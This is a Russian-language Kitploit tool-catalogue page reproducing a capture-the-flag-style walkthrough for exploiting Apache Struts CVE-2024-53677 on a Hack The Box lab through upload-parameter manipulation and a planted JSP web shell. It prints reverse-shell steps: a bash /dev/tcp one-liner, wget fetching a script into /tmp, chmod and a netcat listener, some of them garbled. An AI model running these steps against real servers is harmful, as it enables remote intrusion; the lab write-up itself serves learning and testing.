Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-53677-Exploitation — Пошаговое руководство по эксплуатации уязвимости Apache Struts CVE-2024-53677 (RCE) через манипуляцию загрузкой файлов, включая внедрение OGNL, встраивание полезной нагрузки и установку обратной оболочки. | Kitploit
Инструменты/GitHubGitHub/hopsypopsy8/cve-2024-53677-exploitation
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной НагрузкиЛаборатории и Практика
GitHubhopsypopsy8/cve-2024-53677-exploitation

CVE-2024-53677-Exploitation

Пошаговое руководство по эксплуатации уязвимости Apache Struts CVE-2024-53677 (RCE) через манипуляцию загрузкой файлов, включая внедрение OGNL, встраивание полезной нагрузки и установку обратной оболочки.

Репозиторий
51 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Эксплуатация CVE-2024-53677

Apache Struts RCE через загрузку файлов

Описание

CVE-2024-53677 — это уязвимость, затрагивающая Apache Struts версий с 2.0.0 до 6.4.0. ⚠️ Эта уязвимость была использована в лаборатории Hack The Box.

Логика загрузки файлов в Apache Struts имеет недостаток. Злоумышленник может манипулировать параметрами загрузки файлов для обхода путей, и в некоторых обстоятельствах это может привести к загрузке вредоносного файла, который может быть использован для удаленного выполнения кода. 🔗 Ссылка: Запись NIST NVD

Разведка

Определение вектора атаки

изображение
  1. На сайте есть функция загрузки изображений.
  2. Загруженные файлы сохраняются по адресу: ip/uploads/20250213_014317/starwars.png
  3. При успешной загрузке общая ссылка на изображение имеет URL ip/s/04ab2f40
  4. Определение версии Apache Struts
Добавленный параметр использует OGNL (Object-Graph Navigation Language), который Apache Struts использует для обработки входных данных. FileUploadInterceptor обрабатывает этот параметр перед обработкой самого PNG-изображения, что позволяет злоумышленникам манипулировать запросом и потенциально выполнить произвольный код.
  • Раскрытый pom.xml показал Apache Struts 6.3.0.1
  • Подтверждена уязвимость к CVE-2024-53677

📸 Раскрытие pom.xml:
изображение

Эксплуатация

Изменение запроса загрузки файлов

Для эксплуатации этой уязвимости мы используем BurpSuite и его функционал Repeater для изменения пакетов перед отправкой. Ниже представлен неотредактированный запрос.

изображение

Наши проблемы: сайт блокирует типы файлов, отличные от [JPG, JPEG, PNG, GIF], и все в каталоге /uploads неисполнимо. Чтобы обойти эти ограничения, мы сначала добавим еще один параметр.

тест

Завершение эксплуатации

После добавления измененного параметра серверный ответ подтверждает, что файл был успешно загружен. Однако мы замечаем, что путь к файлу отличается от обычного каталога загрузок.

plshelp

Прикрепление полезной нагрузки

Далее мы внедряем полезную нагрузку, добавляя ее непосредственно под данными изображения и прямо перед нашими внедренными параметрами. Исходный код оболочки можно получить 🔗 Ссылка: shell.jsp Кроме того, одна важная деталь: запрос требует "Upload" с заглавной U вместо строчной upload. Это соответствует структуре эксплойта, наблюдаемой в: 🔗 Ссылка: exploit.py

С этими изменениями мы отправляем запрос. Сервер отвечает аналогично, подтверждая успешную загрузку и отражая скорректированный путь к файлу.

Навигация по эксплойту

Теперь, перейдя по следующему URL, мы можем взаимодействовать с загруженной оболочкой.

root@kitploit:~
 ip/shelll.jsp?action=cmd&cmd=id 
финальная оболочка

На этом этапе мы можем установить обратную оболочку, используя локально размещенный веб-сервер. Простой способ сделать это — с помощью Python: python3 http.server -m 3004

Далее создайте базовый скрипт оболочки (например, shell.sh) cat bash -i >& /dev/tcp/$IP/$PORT 0>&1 > shell.sh

Используйте wget для его загрузки wget http://ip_address/filename -O /tmp

После загрузки предоставьте права на выполнение chmod +777 /tmp/filename

а затем используйте nc (netcat) для прослушивания обратной оболочки. nc -lvnp $PORT

Наконец выполните ./filename

Скачать инструмент